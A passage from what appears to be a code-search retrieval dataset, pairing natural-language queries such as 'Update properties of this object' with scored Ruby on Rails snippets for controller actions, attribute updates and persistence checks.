"text": "def create\n @ref_doctor_type = Ref::DoctorType.new(params[:ref_doctor_type])\n\n respond_to do |format|\n if @ref_doctor_type.save\n format.html { redirect_to ref_doctor_types_path, notice: I18n.t(:record_created) }\n format.json { render json: @ref_doctor_type, status: :created, location: @ref_doctor_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ref_doctor_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a3c0484f858011c7eb769e6ede3325c7",
"score": "0.5449913",
"text": "def create\n @admin_doctor = Doctor.new(admin_doctor_params)\n @admin_doctor.user.set_user_password\n @admin_doctor.user.set_role(\"doctor\")\n respond_to do |format|\n if @admin_doctor.save\n format.html { redirect_to [:admin, @admin_doctor], notice: \"Docteur cree avec succes.\" }\n format.json { render :show, status: :created, location: @admin_doctor }\n else\n format.html { render :new }\n format.json { render json: @admin_doctor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4980e142a19e0231f13090f08f9c83b7",
"score": "0.54477966",
"text": "def show\n @doctor = Doctor.find(params[:id])\n\n render json: @doctor\n end",
"title": ""
},
{
"docid": "79f8edc463cbf0df59a26641f9de19a0",
"score": "0.5445851",
"text": "def create\n @user = User.new(doctor_params)\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to @user, notice: 'Doctor was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a0432b8599ac792e5a374b9ed0232fa1",
"score": "0.54416513",
"text": "def create\r\n if params[:clinic_id]\r\n @appointment = Appointment.new(appointment_params)\r\n @appointment.clinic_id = params[:clinic_id]\r\n @appointment.donor_id = current_donor.id\r\n if @appointment.save\r\n #redirect_to clinic_appointment_path(@appointment.clinic_id, @appointment)\r\n render json: @appointment\r\n else\r\n render plain: \"There was an error!\"\r\n end\r\n else\r\n @appointment = Appointment.new(appointment_params)\r\n @appointment.donor_id = current_donor.id\r\n if @appointment.save \r\n #redirect_to (donor_appointment_path(@appointment.donor_id, @appointment))\r\n render json: @appointment\r\n else\r\n render plain: \"There was an error!\" #render new\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "23744e62a9569035ff928d781dd48b00",
"score": "0.5434405",
"text": "def doctors\n appointments.map do | appointment |\n appointment.doctor\n end\n end",
"title": ""
},
{
"docid": "9ce2126ac795dc781ce2e4799f92aec1",
"score": "0.54295516",
"text": "def create\n @free_doctor = FreeDoctor.new(free_doctor_params)\n\n respond_to do |format|\n if @free_doctor.save\n format.html { redirect_to @free_doctor, notice: 'Free doctor was successfully created.' }\n format.json { render :show, status: :created, location: @free_doctor }\n else\n format.html { render :new }\n format.json { render json: @free_doctor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7e88a579d28047dc151094f84d2cfde8",
"score": "0.5425486",
"text": "def destroy\n @doctor.destroy\n respond_to do |format|\n format.html { redirect_to doctors_url }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
af630984682f1a0b5a68e6092af0d102
|
Update properties of this object
|
[
{
"docid": "c185ed47a60d985c65611053ee48e075",
"score": "0.0",
"text": "def update!(**args)\n end",
"title": ""
}
] |
[
{
"docid": "150fa2bdc1fc43d28ac45e2278a1f797",
"score": "0.7012263",
"text": "def update_properties(hash)\n hash.each do |key, value|\n setter_method = \"#{key}=\"\n if self.respond_to?(setter_method)\n self.send(setter_method, value)\n end\n end\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "37ae8a386fde14c02d7021605aa72f45",
"score": "0.67403597",
"text": "def refresh\n self.class.base_properties.each_with_index do |prop, prop_id|\n @properties[prop] = get_property(prop_id)\n end\n refresh_features\n refresh_status\n refresh_config\n self\n end",
"title": ""
},
{
"docid": "10e41ec39ba2af73495ccece21c2d8a3",
"score": "0.6709326",
"text": "def update!(**args)\n @subobject_properties = args[:subobject_properties] if args.key?(:subobject_properties)\n end",
"title": ""
},
{
"docid": "10e41ec39ba2af73495ccece21c2d8a3",
"score": "0.6709326",
"text": "def update!(**args)\n @subobject_properties = args[:subobject_properties] if args.key?(:subobject_properties)\n end",
"title": ""
},
{
"docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7",
"score": "0.6696149",
"text": "def update(attrs)\n super(attrs)\n end",
"title": ""
},
{
"docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7",
"score": "0.6696149",
"text": "def update(attrs)\n super(attrs)\n end",
"title": ""
},
{
"docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7",
"score": "0.6696149",
"text": "def update(attrs)\n super(attrs)\n end",
"title": ""
},
{
"docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7",
"score": "0.6696149",
"text": "def update(attrs)\n super(attrs)\n end",
"title": ""
},
{
"docid": "47bbd8b88b35da987fc3775b82211e56",
"score": "0.6618882",
"text": "def update_properties!(branch_id=nil)\n properties = fetch_properties(false, branch_id)\n length = properties.length\n counter = 0\n properties.each do |property|\n counter += 1\n if Vebra.debugging?\n puts \"[Vebra]: #{counter}/#{length}: live updating property with Vebra ref: #{property.attributes[:vebra_ref]}\"\n end\n live_update!(property)\n Vebra.set_last_updated_at(Time.now) if counter == length\n end\n end",
"title": ""
},
{
"docid": "769b77b7f7f9f82ae847f5968eb201dc",
"score": "0.6571848",
"text": "def update_self obj\n obj.each do |k,v|\n instance_variable_set(\"@#{k}\", v) if v\n end\n end",
"title": ""
},
{
"docid": "c3b6fccdeb696de5e9dbc38a9486b742",
"score": "0.65386343",
"text": "def update_attributes(properties_hash)\n self.class.get_class_properties.each do |property|\n key = property[:name].to_sym\n if properties_hash.has_key? key\n self.setValue(properties_hash[key], forKey:key)\n end\n end\n end",
"title": ""
},
{
"docid": "bb403006cc5423d9b1820fe684a7c5a5",
"score": "0.65178275",
"text": "def update\n # TODO: implement update\n end",
"title": ""
},
{
"docid": "1ee90e4f66e82aec13076a98b288a2d1",
"score": "0.6394807",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n @states = args[:states] if args.key?(:states)\n end",
"title": ""
},
{
"docid": "23eb6f5fbeae4bf9f56ac93a4126b4b5",
"score": "0.6389745",
"text": "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @object = args[:object] if args.key?(:object)\n end",
"title": ""
},
{
"docid": "23eb6f5fbeae4bf9f56ac93a4126b4b5",
"score": "0.6389745",
"text": "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @object = args[:object] if args.key?(:object)\n end",
"title": ""
},
{
"docid": "3f85752da065340d4ca70ce879a3b23d",
"score": "0.63328",
"text": "def update!(**args)\n @property = args[:property] if args.key?(:property)\n @total_value_count = args[:total_value_count] if args.key?(:total_value_count)\n @value = args[:value] if args.key?(:value)\n @value_status = args[:value_status] if args.key?(:value_status)\n end",
"title": ""
},
{
"docid": "da63345424fc9aecef032928485bd149",
"score": "0.6319025",
"text": "def update\n \n end",
"title": ""
},
{
"docid": "5a8e82caac01cee661bc875a5b0cf723",
"score": "0.6283673",
"text": "def refresh\n set_attributes\n end",
"title": ""
},
{
"docid": "60d8c4f58de490a0d7cdd918c16a2cce",
"score": "0.6269463",
"text": "def update(attrs)\n @attrs.update(attrs)\n self\n end",
"title": ""
},
{
"docid": "7a41bc9d5a07220fb8626d1fa90d2d79",
"score": "0.62639254",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n @source = args[:source] if args.key?(:source)\n end",
"title": ""
},
{
"docid": "29c22ae2290ffca9b9682a5f20f48103",
"score": "0.62410724",
"text": "def update_resource object, attributes\n object.update attributes\n end",
"title": ""
},
{
"docid": "91dc386ff8fa066852510a5d62b13078",
"score": "0.62170374",
"text": "def update(attrs)\n @attrs ||= {}\n @attrs.update(attrs)\n self\n end",
"title": ""
},
{
"docid": "6249943d1eeff63f8f611fcf73254058",
"score": "0.62152076",
"text": "def update\n \n end",
"title": ""
},
{
"docid": "1c12f310aca206a2cefff8c291007668",
"score": "0.6210263",
"text": "def update!(**args)\n @property = args[:property] if args.key?(:property)\n @schema = args[:schema] if args.key?(:schema)\n end",
"title": ""
},
{
"docid": "1c0316f22c6db917fa4719767b5326a9",
"score": "0.6204041",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @options = args[:options] if args.key?(:options)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end",
"title": ""
},
{
"docid": "1c0316f22c6db917fa4719767b5326a9",
"score": "0.6204041",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @options = args[:options] if args.key?(:options)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end",
"title": ""
},
{
"docid": "85a79fb5c3cc199e689344861658b09b",
"score": "0.62021106",
"text": "def _update!\n self.class.properties.each do |property, predicate|\n if dirty?(property)\n self.class.repository_or_fail.delete([subject, predicate[:predicate], nil])\n if self.class.is_list?(property)\n repo = RDF::Repository.new\n attribute_get(property).each do |value|\n repo << RDF::Statement.new(subject, predicate[:predicate], self.class.build_rdf_value(value, self.class.properties[property][:type]))\n end\n self.class.repository_or_fail.insert(*repo)\n else\n self.class.repository_or_fail.insert(RDF::Statement.new(subject, predicate[:predicate], self.class.build_rdf_value(attribute_get(property), self.class.properties[property][:type])))\n end\n end\n @dirty[property] = nil\n @attributes[:original][property] = attribute_get(property)\n end\n self.class.repository_or_fail.insert(RDF::Statement.new(@subject, RDF.type, type)) unless type.nil?\n end",
"title": ""
},
{
"docid": "5d229ea224b1dfa7ac9ce6808ca63fc4",
"score": "0.62017816",
"text": "def update(attributes = {})\n super(attributes)\n retrieve!\n self\n end",
"title": ""
},
{
"docid": "549a7eef6c18558dea47a8e8d72df295",
"score": "0.62017",
"text": "def update\n @objects.map(&:update);\n end",
"title": ""
},
{
"docid": "e1f766468b11768b786daa133483b157",
"score": "0.61730784",
"text": "def update\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "e1f766468b11768b786daa133483b157",
"score": "0.61730784",
"text": "def update\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "b76d372399abbb21b748df3ae7b06470",
"score": "0.6159277",
"text": "def live_update!(property)\n property_class = Vebra.models[:property][:class].to_s.camelize.constantize\n\n # ensure we have the full property attributes\n property.get_property if !property.attributes[:status] && property.attributes[:action] != 'deleted'\n\n # find & update or build a new property\n property_model = property_class.find_or_initialize_by_vebra_ref(property.attributes[:vebra_ref])\n\n # make sure property object is not empty\n return false if !property.attributes || !property.attributes[:property_type]\n\n # if the property has been deleted, mark it appropriately and move on\n if property.attributes[:action] == 'deleted'\n return property_model.destroy\n end\n\n # extract accessible attributes for the property\n property_accessibles = property_class.accessible_attributes.map(&:to_sym)\n property_attributes = property.attributes.inject({}) do |result, (key, value)|\n result[key] = value if property_accessibles.include?(key)\n result\n end\n\n # update the property model's attributes\n property_model.no_callbacks = true if property_model.respond_to?(:no_callbacks)\n property_model.update_attributes(property_attributes)\n\n # find & update or build a new address\n if Vebra.models[:address]\n address_class = Vebra.models[:address][:class].to_s.camelize.constantize\n address_model = property_model.send(Vebra.models[:property][:address_method])\n address_model = property_model.send(\"build_#{Vebra.models[:property][:address_method]}\") unless address_model\n\n # extract accessible attributes for the address\n address_accessibles = address_class.accessible_attributes.map(&:to_sym)\n address_attributes = property.attributes[:address].inject({}) do |result, (key, value)|\n result[key] = value if address_accessibles.include?(key)\n result\n end\n\n # update the address model's attributes\n address_model.update_attributes(address_attributes)\n end\n\n # find & update or build new rooms\n if Vebra.models[:room]\n room_class = Vebra.models[:room][:class].to_s.camelize.constantize\n\n # accessible attributes for the rooms\n room_accessibles = room_class.accessible_attributes.map(&:to_sym)\n\n # delete any rooms which are no longer present\n property_rooms = property.attributes[:rooms] || []\n property_model_rooms = property_model.send(Vebra.models[:property][:rooms_method])\n refs_to_delete = property_model_rooms.map(&:vebra_ref) - property_rooms.map { |r| r[:vebra_ref] }\n property_model_rooms.each do |room|\n room.destroy if refs_to_delete.include?(room.vebra_ref)\n end\n\n # find & update or build new rooms\n property_rooms.each do |room|\n room_model = room_class.find_by_property_id_and_vebra_ref(property_model.id, room[:vebra_ref])\n room_model = property_model_rooms.build unless room_model\n\n # extract accessible attributes for the room\n room_attributes = room.inject({}) do |result, (key, value)|\n result[key] = value if room_accessibles.include?(key)\n result\n end\n\n # update the room model's attributes\n room_model.update_attributes(room_attributes)\n end\n end\n\n # find & update or build new file attachments\n if Vebra.models[:file]\n file_class = Vebra.models[:file][:class].to_s.camelize.constantize\n\n # accessible attributes for the files\n file_accessibles = file_class.accessible_attributes.map(&:to_sym)\n\n # first normalize the collection (currently nested collections)\n property_files = property.attributes[:files].inject([]) do |result, (kind, collection)|\n collection.each do |file|\n file[:type] = kind.to_s.singularize.camelize if file_accessibles.include?(:type)\n file[\"remote_#{Vebra.models[:file][:attachment_method]}_url\".to_sym] = file.delete(:url)\n # if file[:type] is set, it means the attachment file class can be subclassed. In this\n # case we need to ensure that the subclass exists. If not, we ignore this file\n begin\n file[:type].constantize if file_accessibles.include?(:type)\n result << file\n rescue NameError => e\n # ignore - this means the subclass does not exist\n puts \"[Vebra]: #{e.message}\" if Vebra.debugging?\n end\n end\n\n result\n end\n\n # delete any files which are no longer present\n property_model_files = property_model.send(Vebra.models[:property][:files_method])\n refs_to_delete = property_model_files.map(&:vebra_ref) - property_files.map { |f| f[:vebra_ref] }\n property_model_files.each do |file|\n file.destroy if refs_to_delete.include?(file.vebra_ref)\n end\n\n # find & update or build new files\n property_files.each do |file|\n begin\n file_model = property_model_files.find_by_vebra_ref(file[:vebra_ref])\n file_model = property_model_files.build unless file_model\n\n # extract accessible attributes for the file\n file_attributes = file.inject({}) do |result, (key, value)|\n result[key] = value if file_accessibles.include?(key)\n result\n end\n\n # update the room model's attributes\n file_model.update_attributes(file_attributes)\n rescue CarrierWave::ProcessingError, OpenURI::HTTPError => e\n # just ignore the file\n puts \"[Vebra]: #{e.message}\" if Vebra.debugging?\n end\n end\n end\n\n property_model.no_callbacks = false if property_model.respond_to?(:no_callbacks)\n property_model.save\n return property_model\n end",
"title": ""
},
{
"docid": "01219537b43bd1cf8341e0f00e27d4c8",
"score": "0.6156169",
"text": "def update!(**args)\n @id = args[:id] if args.key?(:id)\n @property_value = args[:property_value] if args.key?(:property_value)\n end",
"title": ""
},
{
"docid": "147d62c4df79ff1ca86cbd477112bf7f",
"score": "0.61445665",
"text": "def update\n end",
"title": ""
},
{
"docid": "f3dea89f306804c3f2aa813c06584d06",
"score": "0.6125433",
"text": "def update!(**args)\n @mid = args[:mid] if args.key?(:mid)\n @property_value = args[:property_value] if args.key?(:property_value)\n end",
"title": ""
},
{
"docid": "44756fd86dd095556580199f7e78936f",
"score": "0.61241156",
"text": "def modified_properties=(value)\n @modified_properties = value\n end",
"title": ""
},
{
"docid": "593de84fa9950baa68153e4fa9b6e17c",
"score": "0.6121413",
"text": "def apply_properties!(properties)\n # Non-commutitivity etc. eventually.\n end",
"title": ""
},
{
"docid": "ea25adea5b43c27e6c84f27ad88c3d9f",
"score": "0.6110477",
"text": "def set_properties(hash)\n hash.each do |key, value|\n add_or_remove_ostruct_member(key, value)\n end\n rest_reset_properties\n end",
"title": ""
},
{
"docid": "147138a710a0ff53e9288ae66341894f",
"score": "0.6105694",
"text": "def update\n\t\t\n\t\tend",
"title": ""
},
{
"docid": "7b1d2242b1a6bd8d3cad29be97783a80",
"score": "0.61016303",
"text": "def set_props(props)\n @props.merge!(props)\n end",
"title": ""
},
{
"docid": "cb2162d3a1fd3434effd12aa702f250f",
"score": "0.60845226",
"text": "def update() end",
"title": ""
},
{
"docid": "231370ed2400d22825eba2b5b69e7a67",
"score": "0.6084427",
"text": "def update!(**args)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end",
"title": ""
},
{
"docid": "86ff97cc222b987bff78c1152a1c8ee1",
"score": "0.6065455",
"text": "def assign_properties\n self.properties ||= {}\n listing_properties.each do |prop|\n self.properties[prop.key] ||= prop.value\n end\n end",
"title": ""
},
{
"docid": "0f6ea4c54f9bc18020c08410f67289cd",
"score": "0.6059506",
"text": "def change_properties(new_current_floor, new_next_floor, new_movement)\n @current_floor = new_current_floor\n @next_floor = new_next_floor\n @movement = new_movement\n end",
"title": ""
},
{
"docid": "453da6bb915596261c5b82f2d17cabf8",
"score": "0.6054869",
"text": "def update!(**args)\n @property_value = args[:property_value] if args.key?(:property_value)\n end",
"title": ""
},
{
"docid": "52a81d6eb0fed16fe2a23be3d9ebc264",
"score": "0.6051708",
"text": "def update!(**args)\n @property_name = args[:property_name] if args.key?(:property_name)\n end",
"title": ""
},
{
"docid": "52a81d6eb0fed16fe2a23be3d9ebc264",
"score": "0.6051708",
"text": "def update!(**args)\n @property_name = args[:property_name] if args.key?(:property_name)\n end",
"title": ""
},
{
"docid": "874639781ed80ae451fbdd6ebbef2218",
"score": "0.60413384",
"text": "def update(attributes)\n (@attributes ||= {}).merge! attributes\n\n (self.class.attr_initializables & attributes.keys).each do |name|\n instance_variable_set :\"@#{name}\", attributes[name]\n end\n\n self\n end",
"title": ""
},
{
"docid": "d175f5bedd91a8daf191cad42b04dc0c",
"score": "0.6030853",
"text": "def update_attributes(attrs)\n super({})\n end",
"title": ""
},
{
"docid": "b8d1a7cd8f443ee5f30b5085aadff479",
"score": "0.6022535",
"text": "def update\n @dirty = true\n end",
"title": ""
},
{
"docid": "d7d62f9c97f629ef8c88e56d3d1ce8ee",
"score": "0.6015561",
"text": "def update\n\n # Run through the mixin updates\n colourable_update\n movable_update\n\n end",
"title": ""
},
{
"docid": "71750bae7e3d6bdde2b60ec30e70949a",
"score": "0.59932375",
"text": "def set(props)\n props.each do |prop, val|\n self.send(:\"#{ prop }=\", val)\n end\n end",
"title": ""
},
{
"docid": "73fe9bc31bfeeab4d84483e2fa65cbbb",
"score": "0.59898263",
"text": "def update\n super\n end",
"title": ""
},
{
"docid": "a98ac99e6e5115383e9148202286ff9e",
"score": "0.5976479",
"text": "def update!(**args)\n @property_id = args[:property_id] if args.key?(:property_id)\n @value_status = args[:value_status] if args.key?(:value_status)\n end",
"title": ""
},
{
"docid": "fb14f35e7fab31199053a7b87ef451a4",
"score": "0.5973787",
"text": "def update!(**args)\n @object_size_bytes = args[:object_size_bytes] if args.key?(:object_size_bytes)\n @object_version = args[:object_version] if args.key?(:object_version)\n end",
"title": ""
},
{
"docid": "6441b3fa93c3dfd974c66a975adb9d9c",
"score": "0.59678394",
"text": "def movable_update\n\n # Work through the different aspects we update\n movable_location_update\n movable_size_update\n movable_angle_update\n\n end",
"title": ""
},
{
"docid": "51a59f953548d1eff10532bdffdd8df9",
"score": "0.5963291",
"text": "def properties=(value)\n @properties = value\n end",
"title": ""
},
{
"docid": "e7a3d5504fcc6e382b06845ede0d5fd8",
"score": "0.5962048",
"text": "def update(attrs)\n attrs.each_pair do |key, value|\n send(\"#{key}=\", value) if respond_to?(\"#{key}=\")\n # attributes[key] = value <- lets make use of virtual attributes too\n end\n end",
"title": ""
},
{
"docid": "c7a2880c3da02b3708afc43c48d37f2e",
"score": "0.5961157",
"text": "def update(context={})\n self.pre_cast_attributes\n m2o = @relations.reject{|k, v| !self.class.many2one_relations.has_key?(k)}\n vals = @attributes.reject {|key, value| key == 'id'}.merge(m2o.merge(m2o){|k, v| v.is_a?(Array) ? v[0] : v})\n self.class.rpc_execute('write', self.id, vals, context)\n reload_from_record!(self.class.find(self.id, :context => context))\n end",
"title": ""
},
{
"docid": "c3f11e80d4ed9199aaaf751efade4812",
"score": "0.5950731",
"text": "def update; end",
"title": ""
},
{
"docid": "c3f11e80d4ed9199aaaf751efade4812",
"score": "0.5950731",
"text": "def update; end",
"title": ""
},
{
"docid": "c3f11e80d4ed9199aaaf751efade4812",
"score": "0.5950731",
"text": "def update; end",
"title": ""
},
{
"docid": "c3f11e80d4ed9199aaaf751efade4812",
"score": "0.5950731",
"text": "def update; end",
"title": ""
},
{
"docid": "c3f11e80d4ed9199aaaf751efade4812",
"score": "0.5950731",
"text": "def update; end",
"title": ""
},
{
"docid": "c3f11e80d4ed9199aaaf751efade4812",
"score": "0.5950731",
"text": "def update; end",
"title": ""
},
{
"docid": "c3f11e80d4ed9199aaaf751efade4812",
"score": "0.5950731",
"text": "def update; end",
"title": ""
},
{
"docid": "c3f11e80d4ed9199aaaf751efade4812",
"score": "0.5950731",
"text": "def update; end",
"title": ""
},
{
"docid": "5ca2caa1a207739e77f437de35e41cf1",
"score": "0.59500545",
"text": "def update ; end",
"title": ""
},
{
"docid": "a20f534093aba7e3633ca0ac07a56d53",
"score": "0.59443134",
"text": "def update!(**args)\n @freshness_duration = args[:freshness_duration] if args.key?(:freshness_duration)\n @freshness_property = args[:freshness_property] if args.key?(:freshness_property)\n end",
"title": ""
},
{
"docid": "a20f534093aba7e3633ca0ac07a56d53",
"score": "0.59443134",
"text": "def update!(**args)\n @freshness_duration = args[:freshness_duration] if args.key?(:freshness_duration)\n @freshness_property = args[:freshness_property] if args.key?(:freshness_property)\n end",
"title": ""
},
{
"docid": "2c309c8084bf29f0b8d8674d22086956",
"score": "0.59424853",
"text": "def method_missing(method, *args)\n super if @updated\n set_up_properties_from(@client.get(@path))\n self.send method, *args\n end",
"title": ""
},
{
"docid": "2c309c8084bf29f0b8d8674d22086956",
"score": "0.59424853",
"text": "def method_missing(method, *args)\n super if @updated\n set_up_properties_from(@client.get(@path))\n self.send method, *args\n end",
"title": ""
},
{
"docid": "879f1214e030bb2d9e43a0aedb1bc3ea",
"score": "0.593523",
"text": "def update_with(attributes)\n assign_attributes(attributes)\n end",
"title": ""
},
{
"docid": "10b1cb39dbb1f67820e37bb6d2632986",
"score": "0.5926413",
"text": "def update\n # don't need to update; hash is shared\n end",
"title": ""
},
{
"docid": "51982942bd4f09be3f7adc59da4cf104",
"score": "0.5924831",
"text": "def update(attributes)\n HashProxy.with(attributes) do |proxy|\n self.class.attribute_names.each do |name|\n send(\"#{name}=\", proxy[name]) if proxy.key?(name)\n end\n end\n save\n end",
"title": ""
},
{
"docid": "f0dd489c52fa73b1c3846fa43727c29e",
"score": "0.592427",
"text": "def update!(**args)\n @object_id_prop = args[:object_id_prop] if args.key?(:object_id_prop)\n @relation = args[:relation] if args.key?(:relation)\n @subject_id = args[:subject_id] if args.key?(:subject_id)\n end",
"title": ""
},
{
"docid": "4229acd17d03e94871226b09dd3bd37d",
"score": "0.59233046",
"text": "def update!(**args)\n @boolean_property_options = args[:boolean_property_options] if args.key?(:boolean_property_options)\n @date_property_options = args[:date_property_options] if args.key?(:date_property_options)\n @display_options = args[:display_options] if args.key?(:display_options)\n @double_property_options = args[:double_property_options] if args.key?(:double_property_options)\n @enum_property_options = args[:enum_property_options] if args.key?(:enum_property_options)\n @html_property_options = args[:html_property_options] if args.key?(:html_property_options)\n @integer_property_options = args[:integer_property_options] if args.key?(:integer_property_options)\n @is_facetable = args[:is_facetable] if args.key?(:is_facetable)\n @is_repeatable = args[:is_repeatable] if args.key?(:is_repeatable)\n @is_returnable = args[:is_returnable] if args.key?(:is_returnable)\n @is_sortable = args[:is_sortable] if args.key?(:is_sortable)\n @is_suggestable = args[:is_suggestable] if args.key?(:is_suggestable)\n @is_wildcard_searchable = args[:is_wildcard_searchable] if args.key?(:is_wildcard_searchable)\n @name = args[:name] if args.key?(:name)\n @object_property_options = args[:object_property_options] if args.key?(:object_property_options)\n @text_property_options = args[:text_property_options] if args.key?(:text_property_options)\n @timestamp_property_options = args[:timestamp_property_options] if args.key?(:timestamp_property_options)\n end",
"title": ""
},
{
"docid": "4229acd17d03e94871226b09dd3bd37d",
"score": "0.59233046",
"text": "def update!(**args)\n @boolean_property_options = args[:boolean_property_options] if args.key?(:boolean_property_options)\n @date_property_options = args[:date_property_options] if args.key?(:date_property_options)\n @display_options = args[:display_options] if args.key?(:display_options)\n @double_property_options = args[:double_property_options] if args.key?(:double_property_options)\n @enum_property_options = args[:enum_property_options] if args.key?(:enum_property_options)\n @html_property_options = args[:html_property_options] if args.key?(:html_property_options)\n @integer_property_options = args[:integer_property_options] if args.key?(:integer_property_options)\n @is_facetable = args[:is_facetable] if args.key?(:is_facetable)\n @is_repeatable = args[:is_repeatable] if args.key?(:is_repeatable)\n @is_returnable = args[:is_returnable] if args.key?(:is_returnable)\n @is_sortable = args[:is_sortable] if args.key?(:is_sortable)\n @is_suggestable = args[:is_suggestable] if args.key?(:is_suggestable)\n @is_wildcard_searchable = args[:is_wildcard_searchable] if args.key?(:is_wildcard_searchable)\n @name = args[:name] if args.key?(:name)\n @object_property_options = args[:object_property_options] if args.key?(:object_property_options)\n @text_property_options = args[:text_property_options] if args.key?(:text_property_options)\n @timestamp_property_options = args[:timestamp_property_options] if args.key?(:timestamp_property_options)\n end",
"title": ""
},
{
"docid": "32ed734ad4f899f0ee9ec74a760ca1d0",
"score": "0.5921224",
"text": "def update\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "900f4c147e0916b2e9270373fb83c7e2",
"score": "0.59144294",
"text": "def update_attributes attributes\n @attributes.merge! attributes\n end",
"title": ""
},
{
"docid": "f63de190ae582620103d96f60d684114",
"score": "0.59142506",
"text": "def update!(**args)\n @async_options = args[:async_options] if args.key?(:async_options)\n @input_mappings = args[:input_mappings] if args.key?(:input_mappings)\n @name_property = args[:name_property] if args.key?(:name_property)\n @validation_options = args[:validation_options] if args.key?(:validation_options)\n end",
"title": ""
},
{
"docid": "512d9095b05a696270730ee09c640773",
"score": "0.58887535",
"text": "def update\r\n end",
"title": ""
},
{
"docid": "5b1f6d40d29f0afb908434d0a6404ac8",
"score": "0.58854496",
"text": "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @type = args[:type] if args.key?(:type)\n end",
"title": ""
},
{
"docid": "efcb8c985b9e7911a606a9149b4ab171",
"score": "0.5883008",
"text": "def update\n raise NotImplemented\n end",
"title": ""
},
{
"docid": "65f67197ac4544cbebca350d889922ee",
"score": "0.58792305",
"text": "def update_obj\n mean, sd = rating.to_glicko_rating\n @obj.rating = mean\n @obj.rating_deviation = sd\n @obj.volatility = volatility\n end",
"title": ""
},
{
"docid": "c71a8be944fb89ab77a17fd4c16f7193",
"score": "0.5876954",
"text": "def update_values\n end",
"title": ""
},
{
"docid": "c71a8be944fb89ab77a17fd4c16f7193",
"score": "0.5876954",
"text": "def update_values\n end",
"title": ""
},
{
"docid": "10e162e857be9c47150e8eccd327cad9",
"score": "0.58744955",
"text": "def update\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "389ac4585e8143f353e2535499a23085",
"score": "0.5857968",
"text": "def update!(**args)\n @answers_header_signals = args[:answers_header_signals] if args.key?(:answers_header_signals)\n @property_value = args[:property_value] if args.key?(:property_value)\n @response_meaning_application = args[:response_meaning_application] if args.key?(:response_meaning_application)\n end",
"title": ""
},
{
"docid": "c202a823016f05ee2fc4aade77320497",
"score": "0.5845542",
"text": "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @method_prop = args[:method_prop] if args.key?(:method_prop)\n @name = args[:name] if args.key?(:name)\n @state = args[:state] if args.key?(:state)\n end",
"title": ""
},
{
"docid": "dc268f568dcb7aca1d3905736d2477af",
"score": "0.5841629",
"text": "def update attributes, collection #:nodoc:\n 0\n end",
"title": ""
},
{
"docid": "9763ac25d7fdf4b4f35a971609f70b04",
"score": "0.58363605",
"text": "def update_property_groups(roll)\n @property_groups.each { |_, v| v.update_rent(roll) }\n end",
"title": ""
},
{
"docid": "541550458a4c8f94afeb6b10c0cb2293",
"score": "0.5829255",
"text": "def update!(**args)\n @source_property = args[:source_property] if args.key?(:source_property)\n end",
"title": ""
},
{
"docid": "49a282f2ce0c099a5ced60524a492b4f",
"score": "0.582919",
"text": "def update_info(update_attr_hash)\n update_attr_hash.each do |k,v| \n\t\t\tself.send(\"#{k}=\",v)\n\t\tend\n end",
"title": ""
},
{
"docid": "f6c4eafa4f48a0c81157fb03ff350901",
"score": "0.5822138",
"text": "def update_properties(path, properties)\n prop_patch = PropPatch.new(properties)\n emit('propPatch', [path, prop_patch])\n prop_patch.commit\n\n prop_patch.result\n end",
"title": ""
},
{
"docid": "524a6a969929f9af4bad05dbd9c8f935",
"score": "0.58208305",
"text": "def update\n set_deltatime\n set_last_update_at\n end",
"title": ""
}
] |
dde4ecf270f55eed0e221d5cfe0d4798
|
patch new? to be the opposite of persisted
|
[
{
"docid": "c300d24cb338004fcaedd8eb9f22f14f",
"score": "0.7351662",
"text": "def new?\n !persisted?\n end",
"title": ""
}
] |
[
{
"docid": "23dbf6642280c416d77197b6d9b4d7a7",
"score": "0.75855917",
"text": "def new?\n\t\t\t!@saved\n\t\tend",
"title": ""
},
{
"docid": "f4f2970c357a37fc0cb19d04c366a91b",
"score": "0.7538631",
"text": "def persisted?\n !new?\n end",
"title": ""
},
{
